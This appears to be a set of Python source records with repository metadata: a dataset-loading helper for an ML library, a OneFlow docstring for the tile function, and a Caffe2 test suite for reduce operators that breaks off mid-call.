{"text": "# -*- coding: utf-8 -*-\n\n# Author: Daniel Yang <daniel.yj.yang@gmail.com>\n#\n# License: BSD 3 clause\n\n# Some references:\n# https://huggingface.co/docs/datasets/\n# https://scikit-learn.org/stable/datasets/index.html#general-dataset-api\n\nimport io\n#from zipfile import ZipFile\n#import urllib.request\nimport csv\n\nimport pkgutil\n\nimport os\nimport numpy as np\n\ndef public_dataset(name=None):\n    \"\"\"\n    name can be one of the following:\n        - iris\n        - SMS_spam\n        - Social_Network_Ads\n        - bank_note_authentication\n        - marketing\n        - Hitters\n        - Gender\n        - boston\n        - Fashion_MNIST\n        - nltk_data_path\n        - scikit_learn_data_path\n\n    Disclaimer:\n        - The datasets are shared with the sole intention to provide the convenience of accessing publicly available datasets and reproducing/comparing results.\n        - They are shared under a good-faith understanding that they are widely viewed and accepted as public-domain datasets.\n        - If there is any misunderstanding, please contact the author.\n        - The author does not own any of these datasets.\n        - The readme in respective folder (or related Internet link) should be followed for citation/license requirements.\n    \"\"\"\n\n    if name == \"iris\":\n        import pandas as pd\n        from sklearn import datasets\n        iris = datasets.load_iris()\n        dataset = pd.DataFrame(data = iris.data, columns = iris.feature_names)\n        dataset['target'] = iris.target\n        # iris.target_names  # y_classes = ['setosa', 'versicolor', 'virginica']\n        print(f\"Fisher's Iris is a publicly available dataset that consists of {len(iris.data)} samples from three species of Iris ('setosa', 'versicolor', 'virginica'), while four features were measured from each sample: the length and the width of the sepals and petals, in centimeters.\\n\")\n        return dataset\n\n    #print(public_dataset.__doc__)\n    if name == \"SMS_spam\":\n        import pandas as pd\n        # https://archive.ics.uci.edu/ml/datasets/sms+spam+collection (UCI Machine Learning Repository)\n        df = pd.read_csv(io.BytesIO(pkgutil.get_data(__name__, \"public/UCI_Machine_Learning_Repository/SMS_Spam_Collection/SMSSpamCollection.tsv\")), sep='\\t', quoting=csv.QUOTE_NONE, names=(\"label\", \"message\"))\n        n_spam = df['label'].value_counts()['spam']\n        n_ham = df['label'].value_counts()['ham']\n        print(f\"SMS_spam is a publicly available dataset that has a total of {len(df)} messages = {n_ham} ham (legitimate) and {n_spam} spam.\\n\")\n        return df\n        #url = urllib.request.urlopen(\"https://archive.ics.uci.edu/ml/machine-learning-databases/00228/smsspamcollection.zip\")\n        #df = pd.read_csv(ZipFile(io.BytesIO(url.read())).open('SMSSpamCollection'), sep='\\t', quoting=csv.QUOTE_NONE, names=(\"label\", \"message\"))\n\n    if name == \"Social_Network_Ads\":\n        import pandas as pd\n        df = pd.read_csv(io.BytesIO(pkgutil.get_data(__name__, \"public/Social_Network_Ads/Social_Network_Ads.csv\")), encoding='utf8', sep=\",\")\n        print(\"Social Network Ads is a publicly available dataset that can be used to determine what audience a car company should target in its ads in order to sell a SUV on a social network website.\\n\")\n        return df\n        #url = urllib.request.urlopen(\"https://github.com/daniel-yj-yang/machlearn/raw/master/machlearn/datasets/public/Social_Network_Ads/Social_Network_Ads.csv\")\n        #df = pd.read_csv(io.BytesIO(url.read()), encoding='utf8', sep=\",\")\n\n    if name == \"bank_note_authentication\":\n        # http://archive.ics.uci.edu/ml/datasets/banknote+authentication (UCI Machine Learning Repository)\n        import pandas as pd\n        df = pd.read_csv(io.BytesIO(pkgutil.get_data(__name__, \"public/UCI_Machine_Learning_Repository/bank_note_authentication/data_banknote_authentication.txt\")), header=None, encoding='utf8', sep=\",\")\n        # 'variance of Wavelet Transformed image', 'skewness of Wavelet Transformed image', 'curtosis of Wavelet Transformed image', 'entropy of image'\n        df.columns = ['variance', 'skewness', 'curtosis', 'entropy', 'class']\n        print(f\"The dataset of bank note authentication is a publicly available dataset, where data were extracted from {len(df)} images (400x400 pixels, resolution of about 660 dpi) taken from {df['class'].value_counts()[0]} genuine and {df['class'].value_counts()[1]} forged banknote-like specimens. Wavelet Transform tool were used to extract features from images.\\n\")\n        return df\n\n    if name == \"marketing\":\n        # https://cran.r-project.org/web/packages/datarium/datarium.pdf (GPL-2 License)\n        import pandas as pd\n        df = pd.read_csv(io.BytesIO(pkgutil.get_data(__name__, \"public/R_datarium/marketing/marketing.csv\")), header=0, encoding='utf8', sep=\",\")\n        print(f\"The dataset of marketing is a publicly available dataset from R-datarium, containing the impact of three advertising medias (youtube, facebook and newspaper) on sales. Data are the advertising budget in thousands of dollars along with the sales. The advertising experiment has been repeated 200 times.\\n\")\n        return df\n\n    if name == \"Hitters\":\n        # https://cran.r-project.org/web/packages/ISLR/index.html (GPL-2 License)\n        import pandas as pd\n        df = pd.read_csv(io.BytesIO(pkgutil.get_data(__name__, \"public/R_ISLR/Hitters/Hitters.csv\")), header=0, encoding='utf8', sep=\",\")\n        print(f\"The dataset of Hitters is a publicly available dataset from R-ISLR, containing Major League Baseball Data from the 1986 and 1987 seasons.\\n\")\n        return df\n\n    if name == \"Gender\":\n        # https://github.com/johnmyleswhite/ML_for_Hackers/blob/master/02-Exploration/data/01_heights_weights_genders.csv (FreeBSD License)\n        import pandas as pd\n        df = pd.read_csv(io.BytesIO(pkgutil.get_data(__name__, \"public/ML_for_Hackers/01_heights_weights_genders.csv\")), header=0, encoding='utf8', sep=\",\")\n        print(f\"The dataset of Gender is a publicly available dataset, containing 10000 heights and weights from 5000 males and 5000 females.\\n\")\n        return df\n\n    if name == \"boston\":\n        import pandas as pd\n        from sklearn.datasets import load_boston\n        boston = load_boston()\n        X = pd.DataFrame(data=boston.data, columns=boston.feature_names)\n        y = pd.DataFrame(data=boston.target, columns=['MEDV'])\n        df = pd.concat([X, y], axis=1)\n        print(\"The dataset of boston is a publicly available dataset, including 506 cases of housing price in the area of Boston, Mass.\")\n        print(\"Here are the 13 X features:\")\n        print(\"1. CRIM - per capita crime rate by town\")\n        print(\"2. ZN - proportion of residential land zoned for lots over 25,000 sq.ft.\")\n        print(\"3. INDUS - proportion of non-retail business acres per town.\")\n        print(\"4. CHAS - Charles River dummy variable(1 if tract bounds river; 0 otherwise)\")\n        print(\"5. NOX - nitric oxides concentration (parts per 10 million)\")\n        print(\"6. RM - average number of rooms per dwelling\")\n        print(\"7. AGE - proportion of owner-occupied units built prior to 1940\")\n        print(\"8. DIS - weighted distances to five Boston employment centres\")\n        print(\"9. RAD - index of accessibility to radial highways\")\n        print(\"10. TAX - full-value property-tax rate per $10,000\")\n        print(\"11. PTRATIO - pupil-teacher ratio by town\")\n        print(\"12. B - 1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town\")\n        print(\"13. LSTAT - % lower status of the population\")\n        print(\"\")\n        print(\"Here is the y target variable:\")\n        print(\"14. MEDV - Median value of owner-occupied homes in $1000's\\n\")\n        return df\n\n    if name == \"Fashion_MNIST\":\n        # this part of the code is modeled after https://github.com/zalandoresearch/fashion-mnist/blob/master/utils/mnist_reader.py\n        import gzip\n        path = os.path.dirname(__file__) + \"/public/Fashion_MNIST\"\n        images_train_filepath = os.path.join(path, 'train-images-idx3-ubyte.gz')\n        labels_train_filepath = os.path.join(path, 'train-labels-idx1-ubyte.gz')\n        images_test_filepath  = os.path.join(path,  't10k-images-idx3-ubyte.gz')\n        labels_test_filepath  = os.path.join(path,  't10k-labels-idx1-ubyte.gz')\n        with gzip.open(labels_train_filepath, 'rb') as lbpath:\n            labels_train = np.frombuffer(lbpath.read(),  dtype=np.uint8, offset=8)\n        with gzip.open(images_train_filepath, 'rb') as imgpath:\n            images_train = np.frombuffer(imgpath.read(), dtype=np.uint8, offset=16).reshape(len(labels_train), 784)\n        with gzip.open(labels_test_filepath,  'rb') as lbpath:\n            labels_test  = np.frombuffer(lbpath.read(),  dtype=np.uint8, offset=8)\n        with gzip.open(images_test_filepath,  'rb') as imgpath:\n            images_test  = np.frombuffer(imgpath.read(), dtype=np.uint8, offset=16).reshape(len(labels_test), 784)\n        return images_train, labels_train, images_test, labels_test\n\n    if name == 'nltk_data_path':\n        return os.path.dirname(__file__) + \"/public/nltk_data\"\n\n    if name == 'scikit_learn_data_path':\n        return os.path.dirname(__file__) + \"/public/scikit_learn_data\"\n\n    raise TypeError('recognizable dataset name is not provided')\n\n\n", "meta": {"hexsha": "5e8c3e6d088c3c8a99c03c06b7335cfa40bc4430", "size": 9297, "ext": "py", "lang": "Python", "max_stars_repo_path": "machlearn/datasets/_datasets.py", "max_stars_repo_name": "daniel-yj-yang/pyml", "max_stars_repo_head_hexsha": "2328ae1d73eab39f2774331fcfaa10e8fa2fc0de", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-11-18T13:25:25.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-18T13:25:27.000Z", "max_issues_repo_path": "machlearn/datasets/_datasets.py", "max_issues_repo_name": "daniel-yj-yang/pyml", "max_issues_repo_head_hexsha": "2328ae1d73eab39f2774331fcfaa10e8fa2fc0de", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "machlearn/datasets/_datasets.py", "max_forks_repo_name": "daniel-yj-yang/pyml", "max_forks_repo_head_hexsha": "2328ae1d73eab39f2774331fcfaa10e8fa2fc0de", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-11-18T04:46:07.000Z", "max_forks_repo_forks_event_max_datetime": "2020-11-25T16:19:39.000Z", "avg_line_length": 58.8417721519, "max_line_length": 371, "alphanum_fraction": 0.6892545983, "include": true, "reason": "import numpy", "num_tokens": 2259, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.11920292984474948, "lm_q1q2_score": 0.05634525530235774}}
{"text": "\"\"\"\nCopyright 2020 The OneFlow Authors. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport oneflow\nfrom oneflow.framework.docstr.utils import add_docstr\n\nadd_docstr(\n    oneflow.tile,\n    \"\"\"\n    tile(input, dims) -> Tensor\n\n    The interface is consistent with PyTorch.\n    The documentation is referenced from:\n    https://pytorch.org/docs/1.10/generated/torch.tile.html.\n\n    Constructs a tensor by repeating the elements of ``input``.  The ``dims`` argument specifies the number\n    of repetitions in each dimension.\n\n    If ``dims`` specifies fewer dimensions than ``input`` has, then ones are prepended to ``dims`` until\n    all dimensions are specified.  For example, if ``input`` has shape (8, 6, 4, 2) and ``dims`` is (2, 2),\n    then ``dims`` is treated as (1, 1, 2, 2).\n\n    Analogously, if ``input`` has fewer dimensions than ``dims`` specifies, then ``input`` is treated as\n    if it were unsqueezed at dimension zero until it has as many dimensions as ``dims`` specifies.\n    For example, if ``input`` has shape (4, 2) and ``dims`` is (3, 3, 2, 2), then ``input`` is treated as\n    if it had the shape (1, 1, 4, 2).\n\n    .. note::\n        This function is similar to NumPy\u2019s tile function.\n\n    Args:\n        input (oneflow.Tensor): the tensor whose elements to repeat.\n        dims (tuple): the number of repetitions per dimension.\n\n    For example:\n\n    .. code-block:: python\n\n        >>> import oneflow as flow\n        >>> import numpy as np\n        \n        >>> np_arr = np.random.randn(5, 3, 6, 9).astype(np.float32)\n        >>> input = flow.Tensor(np_arr)\n        >>> out = input.tile(2,1,2,1)\n        >>> out.shape\n        oneflow.Size([10, 3, 12, 9])\n        >>> x = np.random.randn(5, 2, 1)\n        >>> input = flow.Tensor(x)\n        >>> out = input.tile(3,4)\n        >>> out.shape\n        oneflow.Size([5, 6, 4])\n    \"\"\",\n)\n", "meta": {"hexsha": "8ffff360fbee7f5695ab6ee30c1f1ad5e50eaab2", "size": 2355, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/oneflow/framework/docstr/tile.py", "max_stars_repo_name": "Panlichen/oneflow", "max_stars_repo_head_hexsha": "ad93c69c9932e5515aa31fb7f157073708810a3d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python/oneflow/framework/docstr/tile.py", "max_issues_repo_name": "Panlichen/oneflow", "max_issues_repo_head_hexsha": "ad93c69c9932e5515aa31fb7f157073708810a3d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/oneflow/framework/docstr/tile.py", "max_forks_repo_name": "Panlichen/oneflow", "max_forks_repo_head_hexsha": "ad93c69c9932e5515aa31fb7f157073708810a3d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-15T02:14:49.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-15T02:14:49.000Z", "avg_line_length": 35.6818181818, "max_line_length": 107, "alphanum_fraction": 0.6522292994, "include": true, "reason": "import numpy", "num_tokens": 618, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4532618627863437, "lm_q2_score": 0.12421301159407333, "lm_q1q2_score": 0.05630102101743139}}
{"text": "\r\n\r\n\r\n\r\n\r\nfrom caffe2.python import core, workspace\r\nfrom hypothesis import given, settings\r\n\r\nimport caffe2.python.hypothesis_test_util as hu\r\nimport caffe2.python.serialized_test.serialized_test_util as serial\r\nimport hypothesis.strategies as st\r\nimport numpy as np\r\nimport itertools as it\r\n\r\n\r\nclass TestReduceOps(serial.SerializedTestCase):\r\n    def run_reduce_op_test_impl(\r\n            self, op_name, X, axes, keepdims, ref_func, gc, dc, allow_broadcast_fastpath):\r\n        extra_args = dict(allow_broadcast_fastpath=True) if allow_broadcast_fastpath else {}\r\n        if axes is None:\r\n            op = core.CreateOperator(\r\n                op_name,\r\n                [\"X\"],\r\n                [\"Y\"],\r\n                keepdims=keepdims,\r\n                **extra_args,\r\n            )\r\n        else:\r\n            op = core.CreateOperator(\r\n                op_name,\r\n                [\"X\"],\r\n                [\"Y\"],\r\n                axes=axes,\r\n                keepdims=keepdims,\r\n                **extra_args,\r\n            )\r\n\r\n        def ref(X):\r\n            return [ref_func(\r\n                X, axis=None if axes is None else tuple(axes),\r\n                keepdims=keepdims)]\r\n\r\n        with self.set_disable_serialized_check(allow_broadcast_fastpath):\r\n            self.assertReferenceChecks(gc, op, [X], ref)\r\n        self.assertDeviceChecks(dc, op, [X], [0])\r\n        self.assertGradientChecks(gc, op, [X], 0, [0])\r\n\r\n    def run_reduce_op_test(\r\n            self, op_name, X, keepdims, num_axes, ref_func, gc, dc, allow_broadcast_fastpath=False):\r\n        self.run_reduce_op_test_impl(\r\n            op_name, X, None, keepdims, ref_func, gc, dc, allow_broadcast_fastpath)\r\n\r\n        num_dims = len(X.shape)\r\n        if num_dims < num_axes:\r\n            self.run_reduce_op_test_impl(\r\n                op_name, X, range(num_dims), keepdims, ref_func, gc, dc, allow_broadcast_fastpath)\r\n        else:\r\n            for axes in it.combinations(range(num_dims), num_axes):\r\n                self.run_reduce_op_test_impl(\r\n                    op_name, X, axes, keepdims, ref_func, gc, dc, allow_broadcast_fastpath)\r\n\r\n    @serial.given(\r\n        X=hu.tensor(max_dim=3, dtype=np.float32),\r\n        keepdims=st.booleans(),\r\n        allow_broadcast_fastpath=st.booleans(),\r\n        num_axes=st.integers(1, 3), **hu.gcs)\r\n    def test_reduce_min(self, X, keepdims, allow_broadcast_fastpath, num_axes, gc, dc):\r\n        X_dims = X.shape\r\n        X_size = X.size\r\n        X = np.arange(X_size, dtype=np.float32)\r\n        np.random.shuffle(X)\r\n        X = X.reshape(X_dims)\r\n        self.run_reduce_op_test(\r\n            \"ReduceMin\", X, keepdims, num_axes, np.min, gc, dc,\r\n            allow_broadcast_fastpath=allow_broadcast_fastpath)\r\n\r\n    @serial.given(\r\n        X=hu.tensor(max_dim=3, dtype=np.float32),\r\n        keepdims=st.booleans(),\r\n        allow_broadcast_fastpath=st.booleans(),\r\n        num_axes=st.integers(1, 3), **hu.gcs)\r\n    def test_reduce_max(self, X, keepdims, allow_broadcast_fastpath, num_axes, gc, dc):\r\n        X_dims = X.shape\r\n        X_size = X.size\r\n        X = np.arange(X_size, dtype=np.float32)\r\n        np.random.shuffle(X)\r\n        X = X.reshape(X_dims)\r\n        self.run_reduce_op_test(\r\n            \"ReduceMax\", X, keepdims, num_axes, np.max, gc, dc,\r\n            allow_broadcast_fastpath=allow_broadcast_fastpath)\r\n\r\n    @given(n=st.integers(0, 5), m=st.integers(0, 5), k=st.integers(0, 5),\r\n           t=st.integers(0, 5), keepdims=st.booleans(),\r\n           allow_broadcast_fastpath=st.booleans(),\r\n           num_axes=st.integers(1, 3), **hu.gcs)\r\n    @settings(deadline=10000)\r\n    def test_reduce_sum(self, n, m, k, t, keepdims, allow_broadcast_fastpath, num_axes, gc, dc):\r\n        X = np.random.randn(n, m, k, t).astype(np.float32)\r\n        self.run_reduce_op_test(\r\n            \"ReduceSum\", X, keepdims, num_axes, np.sum, gc, dc,\r\n            allow_broadcast_fastpath=allow_broadcast_fastpath)\r\n\r\n    @serial.given(X=hu.tensor(dtype=np.float32), keepdims=st.booleans(),\r\n                  allow_broadcast_fastpath=st.booleans(),\r\n                  num_axes=st.integers(1, 4), **hu.gcs)\r\n    def test_reduce_mean(self, X, keepdims, allow_broadcast_fastpath, num_axes, gc, dc):\r\n        self.run_reduce_op_test(\r\n            \"ReduceMean\", X, keepdims, num_axes, np.mean, gc, dc,\r\n            allow_broadcast_fastpath=allow_broadcast_fastpath)\r\n\r\n    @given(n=st.integers(1, 3), m=st.integers(1, 3), k=st.integers(1, 3),\r\n           keepdims=st.booleans(), allow_broadcast_fastpath=st.booleans(),\r\n           num_axes=st.integers(1, 3), **hu.gcs_cpu_only)\r\n    @settings(deadline=10000)\r\n    def test_reduce_l1(self, n, m, k, keepdims, allow_broadcast_fastpath, num_axes, gc, dc):\r\n        X = np.arange(n * m * k, dtype=np.float32) - 0.5\r\n        np.random.shuffle(X)\r\n        X = X.reshape((m, n, k))\r\n        self.run_reduce_op_test(\r\n            \"ReduceL1\", X, keepdims, num_axes, getNorm(1), gc, dc,\r\n            allow_broadcast_fastpath=allow_broadcast_fastpath)\r\n\r\n    @serial.given(n=st.integers(1, 5), m=st.integers(1, 5), k=st.integers(1, 5),\r\n                  keepdims=st.booleans(), allow_broadcast_fastpath=st.booleans(),\r\n                  num_axes=st.integers(1, 3), **hu.gcs_cpu_only)\r\n    def test_reduce_l2(self, n, m, k, keepdims, allow_broadcast_fastpath, num_axes, gc, dc):\r\n        X = np.random.randn(n, m, k).astype(np.float32)\r\n        self.run_reduce_op_test(\r\n            \"ReduceL2\", X, keepdims, num_axes, getNorm(2), gc, dc,\r\n            allow_broadcast_fastpath=allow_broadcast_fastpath)\r\n\r\n\r\ndef getNorm(p):\r\n    if p == 1:\r\n        def norm(X, axis, keepdims):\r\n            return np.sum(np.abs(X), axis=axis, keepdims=keepdims)\r\n    elif p == 2:\r\n        def norm(X, axis, keepdims):\r\n            return np.sqrt(np.sum(np.power(X, 2), axis=axis, keepdims=keepdims))\r\n    else:\r\n        raise RuntimeError(\"Only L1 and L2 norms supported\")\r\n    return norm\r\n\r\n\r\nclass TestReduceFrontReductions(serial.SerializedTestCase):\r\n    def grad_variant_input_test(self, grad_op_name, X, ref, num_reduce_dim):\r\n        workspace.ResetWorkspace()\r\n\r\n        Y = np.array(ref(X)[0]).astype(np.float32)\r\n        dY = np.array(np.random.rand(*Y.shape)).astype(np.float32)\r\n        shape = np.array(X.shape).astype(np.int64)\r\n\r\n        workspace.FeedBlob(\"X\", X)\r\n        workspace.FeedBlob(\"dY\", dY)\r\n        workspace.FeedBlob(\"shape\", shape)\r\n\r\n        grad_op = core.CreateOperator(\r\n            grad_op_name, [\"dY\", \"X\"], [\"dX\"], num_reduce_dim=num_reduce_dim)\r\n\r\n        grad_op1 = core.CreateOperator(\r\n            grad_op_name, [\"dY\", \"shape\"], [\"dX1\"],\r\n            num_reduce_dim=num_reduce_dim)\r\n\r\n        workspace.RunOperatorOnce(grad_op)\r\n        workspace.RunOperatorOnce(grad_op1)\r\n\r\n        dX = workspace.FetchBlob(\"dX\")\r\n        dX1 = workspace.FetchBlob(\"dX1\")\r\n        np.testing.assert_array_equal(dX, dX1)\r\n\r\n    def max_op_test(\r\n            self, op_name, num_reduce_dim, gc, dc, in_data, in_names, ref_max):\r\n\r\n        op = core.CreateOperator(\r\n            op_name,\r\n            in_names,\r\n            [\"outputs\"],\r\n            num_reduce_dim=num_reduce_dim\r\n        )\r\n\r\n        self.assertReferenceChecks(\r\n            device_option=gc,\r\n            op=op,\r\n            inputs=in_data,\r\n            reference=ref_max,\r\n        )\r\n\r\n        # Skip gradient check because it is too unreliable with max.\r\n        # Just check CPU and CUDA have same results\r\n        Y = np.array(ref_max(*in_data)[0]).astype(np.float32)\r\n        dY = np.array(np.random.rand(*Y.shape)).astype(np.float32)\r\n        if len(in_data) == 2:\r\n            grad_in_names = [\"dY\", in_names[0], \"Y\", in_names[1]]\r\n            grad_in_data = [dY, in_data[0], Y, in_data[1]]\r\n        else:\r\n            grad_in_names = [\"dY\", in_names[0], \"Y\"]\r\n            grad_in_data = [dY, in_data[0], Y]\r\n\r\n        grad_op = core.CreateOperator(\r\n            op_name + \"Gradient\",\r\n            grad_in_names,\r\n            [\"dX\"],\r\n            num_reduce_dim=num_reduce_dim\r\n        )\r\n        self.assertDeviceChecks(dc, grad_op, grad_in_data, [0])\r\n\r\n    def reduce_op_test(self, op_name, op_ref, in_data, in_names,\r\n                       num_reduce_dims, device):\r\n        op = core.CreateOperator(\r\n            op_name,\r\n            in_names,\r\n            [\"outputs\"],\r\n            num_reduce_dim=num_reduce_dims\r\n        )\r\n\r\n        self.assertReferenceChecks(\r\n            device_option=device,\r\n            op=op,\r\n            inputs=in_data,\r\n            reference=op_ref\r\n        )\r\n\r\n        self.assertGradientChecks(\r\n            device, op, in_data, 0, [0], stepsize=1e-2, threshold=1e-2)\r\n\r\n    @given(num_reduce_dim=st.integers(0, 4), **hu.gcs)\r\n    @settings(deadline=10000)\r\n    def test_reduce_front_sum(self, num_reduce_dim, gc, dc):\r\n        X = np.random.rand(7, 4, 3, 5).astype(np.float32)\r\n\r\n        def ref_sum(X):\r\n            return [np.sum(X, axis=(tuple(range(num_reduce_dim))))]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceFrontSum\", ref_sum, [X], [\"input\"], num_reduce_dim, gc)\r\n        self.grad_variant_input_test(\r\n            \"ReduceFrontSumGradient\", X, ref_sum, num_reduce_dim)\r\n\r\n    @given(num_reduce_dim=st.integers(0, 4), seed=st.integers(0, 4), **hu.gcs)\r\n    def test_reduce_front_sum_empty_batch(self, num_reduce_dim, seed, gc, dc):\r\n        np.random.seed(seed)\r\n        X = np.random.rand(0, 4, 3, 5).astype(np.float32)\r\n\r\n        def ref_sum(X):\r\n            return [np.sum(X, axis=(tuple(range(num_reduce_dim))))]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceFrontSum\", ref_sum, [X], [\"input\"], num_reduce_dim, gc)\r\n        self.grad_variant_input_test(\r\n            \"ReduceFrontSumGradient\", X, ref_sum, num_reduce_dim)\r\n\r\n        # test the second iteration\r\n        not_empty_X = np.random.rand(2, 4, 3, 5).astype(np.float32)\r\n        net = core.Net('test')\r\n        with core.DeviceScope(gc):\r\n            net.ReduceFrontSum(\r\n                ['X'], ['output'],\r\n                num_reduce_dim=num_reduce_dim\r\n            )\r\n            workspace.CreateNet(net)\r\n\r\n            workspace.FeedBlob('X', not_empty_X)\r\n            workspace.RunNet(workspace.GetNetName(net))\r\n            output = workspace.FetchBlob('output')\r\n            np.testing.assert_allclose(\r\n                output, ref_sum(not_empty_X)[0], atol=1e-3)\r\n\r\n            workspace.FeedBlob('X', X)\r\n            workspace.RunNet(workspace.GetNetName(net))\r\n            output = workspace.FetchBlob('output')\r\n            np.testing.assert_allclose(output, ref_sum(X)[0], atol=1e-3)\r\n\r\n    @given(**hu.gcs)\r\n    @settings(deadline=None)\r\n    def test_reduce_front_sum_with_length(self, dc, gc):\r\n        num_reduce_dim = 1\r\n        X = np.random.rand(2, 3, 4, 5).astype(np.float32)\r\n        batch_size = int(np.prod([2, 3, 4, 5][num_reduce_dim:]))\r\n        d = 120 // batch_size\r\n        lengths = np.random.randint(1, d, size=batch_size).astype(np.int32)\r\n\r\n        def ref_sum(X, lengths):\r\n            Y = X.reshape(d, lengths.size)\r\n            rv = np.zeros((lengths.size, 1)).astype(np.float32)\r\n            for ii in range(lengths.size):\r\n                rv[ii] = np.sum(Y[:lengths[ii], ii])\r\n            return [rv.reshape((2, 3, 4, 5)[num_reduce_dim:])]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceFrontSum\", ref_sum, [X, lengths], [\"input\", \"lengths\"],\r\n            num_reduce_dim, gc)\r\n\r\n    @given(num_reduce_dim=st.integers(0, 4), **hu.gcs)\r\n    @settings(deadline=10000)\r\n    def test_reduce_front_mean(self, num_reduce_dim, gc, dc):\r\n        X = np.random.rand(6, 7, 8, 2).astype(np.float32)\r\n\r\n        def ref_mean(X):\r\n            return [np.mean(X, axis=(tuple(range(num_reduce_dim))))]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceFrontMean\", ref_mean, [X], [\"input\"], num_reduce_dim, gc)\r\n        self.grad_variant_input_test(\r\n            \"ReduceFrontMeanGradient\", X, ref_mean, num_reduce_dim)\r\n\r\n    @given(**hu.gcs)\r\n    @settings(deadline=10000)\r\n    def test_reduce_front_mean_with_length(self, dc, gc):\r\n        num_reduce_dim = 1\r\n        X = np.random.rand(2, 3, 4, 5).astype(np.float32)\r\n        batch_size = int(np.prod([2, 3, 4, 5][num_reduce_dim:]))\r\n        d = 120 // batch_size\r\n        lengths = np.random.randint(1, d, size=batch_size).astype(np.int32)\r\n\r\n        def ref_mean(X, lengths):\r\n            Y = X.reshape(d, lengths.size)\r\n            rv = np.zeros((lengths.size, 1)).astype(np.float32)\r\n            for ii in range(lengths.size):\r\n                rv[ii] = np.mean(Y[:lengths[ii], ii])\r\n            return [rv.reshape((2, 3, 4, 5)[num_reduce_dim:])]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceFrontMean\", ref_mean, [X, lengths], [\"input\", \"lengths\"],\r\n            num_reduce_dim, gc)\r\n\r\n    @serial.given(num_reduce_dim=st.integers(0, 4), **hu.gcs)\r\n    def test_reduce_front_max(self, num_reduce_dim, gc, dc):\r\n        X = np.random.rand(6, 7, 8, 2).astype(np.float32)\r\n\r\n        def ref_frontmax(X):\r\n            return [np.max(X, axis=(tuple(range(num_reduce_dim))))]\r\n\r\n        self.max_op_test(\r\n            \"ReduceFrontMax\", num_reduce_dim, gc, dc, [X], [\"X\"], ref_frontmax)\r\n\r\n    @given(**hu.gcs)\r\n    def test_reduce_front_max_with_length(self, dc, gc):\r\n        num_reduce_dim = 1\r\n        X = np.random.rand(2, 3, 4, 5).astype(np.float32)\r\n        batch_size = int(np.prod([2, 3, 4, 5][num_reduce_dim:]))\r\n        d = 120 // batch_size\r\n        lengths = np.random.randint(1, d, size=batch_size).astype(np.int32)\r\n\r\n        def ref_max(X, lengths):\r\n            Y = X.reshape(d, lengths.size)\r\n            rv = np.zeros((lengths.size, 1)).astype(np.float32)\r\n            for ii in range(lengths.size):\r\n                rv[ii] = np.max(Y[:lengths[ii], ii])\r\n            return [rv.reshape((2, 3, 4, 5)[num_reduce_dim:])]\r\n\r\n        self.max_op_test(\r\n            \"ReduceFrontMax\", num_reduce_dim, gc, dc, [X, lengths],\r\n            [\"X\", \"lengths\"], ref_max)\r\n\r\n    @serial.given(num_reduce_dim=st.integers(0, 4), **hu.gcs)\r\n    def test_reduce_back_max(self, num_reduce_dim, gc, dc):\r\n        X = np.random.rand(6, 7, 8, 2).astype(np.float32)\r\n\r\n        def ref_backmax(X):\r\n            return [np.max(X, axis=(0, 1, 2, 3)[4 - num_reduce_dim:])]\r\n\r\n        self.max_op_test(\r\n            \"ReduceBackMax\", num_reduce_dim, gc, dc, [X], [\"X\"], ref_backmax)\r\n\r\n    @given(**hu.gcs)\r\n    def test_reduce_back_max_with_length(self, gc, dc):\r\n        num_reduce_dim = 1\r\n        X = np.random.rand(2, 3, 4, 5).astype(np.float32)\r\n        batch_size = int(np.prod([2, 3, 4, 5][:4 - num_reduce_dim]))\r\n        d = 120 // batch_size\r\n        lengths = np.random.randint(1, d, size=batch_size).astype(np.int32)\r\n\r\n        def ref_max(X, lengths):\r\n            Y = X.reshape(lengths.size, d)\r\n            rv = np.zeros((lengths.size, 1)).astype(np.float32)\r\n            for ii in range(lengths.size):\r\n                rv[ii] = np.max(Y[ii, :lengths[ii]])\r\n            return [rv.reshape((2, 3, 4, 5)[:4 - num_reduce_dim])]\r\n\r\n        self.max_op_test(\r\n            \"ReduceBackMax\", num_reduce_dim, gc, dc, [X, lengths],\r\n            [\"X\", \"lengths\"], ref_max)\r\n\r\n    @given(**hu.gcs)\r\n    @settings(deadline=10000)\r\n    def test_reduce_back_sum(self, dc, gc):\r\n        num_reduce_dim = 1\r\n        X = np.random.rand(6, 7, 8, 2).astype(np.float32)\r\n\r\n        def ref_sum(X):\r\n            return [np.sum(X, axis=(0, 1, 2, 3)[4 - num_reduce_dim:])]\r\n\r\n        self.reduce_op_test(\r\n            \"ReduceBackSum\", ref_sum, [X], [\"input\"], 